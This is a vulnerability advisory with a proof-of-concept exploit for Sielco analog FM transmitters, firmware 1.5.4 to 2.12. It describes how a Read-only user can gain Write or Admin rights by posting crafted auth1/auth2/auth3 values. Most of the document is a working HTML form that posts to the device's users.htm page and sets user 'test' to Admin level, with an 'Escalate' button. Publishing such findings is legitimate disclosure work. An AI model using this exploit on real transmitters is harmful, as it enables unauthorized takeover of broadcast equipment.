Sielco Analog FM Transmitter 2.12 Remote Privilege Escalation

Credit: LiquidWorm
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264

<!-- Sielco Analog FM Transmitter 2.12 Remote Privilege Escalation Vendor: Sielco S.r.l Product web page: Affected version: 2.12 (EXC5000GX) 2.12 (EXC120GX) 2.11 (EXC300GX) 2.10 (EXC1600GX) 2.10 (EXC2000GX) 2.08 (EXC1600GX) 2.08 (EXC1000GX) 2.07 (EXC3000GX) 2.06 (EXC5000GX) 1.7.7 (EXC30GT) 1.7.4 (EXC300GT) 1.7.4 (EXC100GT) 1.7.4 (EXC5000GT) 1.6.3 (EXC1000GT) 1.5.4 (EXC120GT) Summary: Sielco designs and produces FM radio transmitters for professional broadcasting. The in-house laboratory develops standard and customised solutions to meet all needs. Whether digital or analogue, each product is studied to ensure reliability, resistance over time and a high standard of safety. Sielco transmitters are distributed throughout the world and serve many radios in Europe, South America, Africa, Oceania and China. Desc: The application suffers from a privilege escalation vulnerability. A user with Read permissions can elevate his/her privileges by sending a HTTP POST request setting the parameter 'auth1' or 'auth2' or 'auth3' to integer value '1' for Write or '2' for Admin permissions. Tested on: lwIP/2.1.1 Web/3.0.3 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2023-5755 Advisory URL: 26.01.2023 --> <html> <body> <form action="http://transmitter/protect/users.htm" method="POST"> <input type="hidden" name="pwd0" value="" /> <input type="hidden" name="pwd0bis" value="" /> <input type="hidden" name="user1" value="" /> <input type="hidden" name="pwd1" value="" /> <input type="hidden" name="pwd1bis" value="" /> <input type="hidden" name="auth1" value="" /> <input type="hidden" name="user2" value="test" /> <input type="hidden" name="pwd2" value="" /> <input type="hidden" name="pwd2bis" value="" /> <input type="hidden" name="auth2" value="2" /> <input type="hidden" name="user3" value="" /> <input type="hidden" name="pwd3" value="" /> <input type="hidden" name="pwd3bis" value="" /> <input type="hidden" name="auth3" value="" /> <input type="submit" value="Escalate" /> </form> </body> </html>

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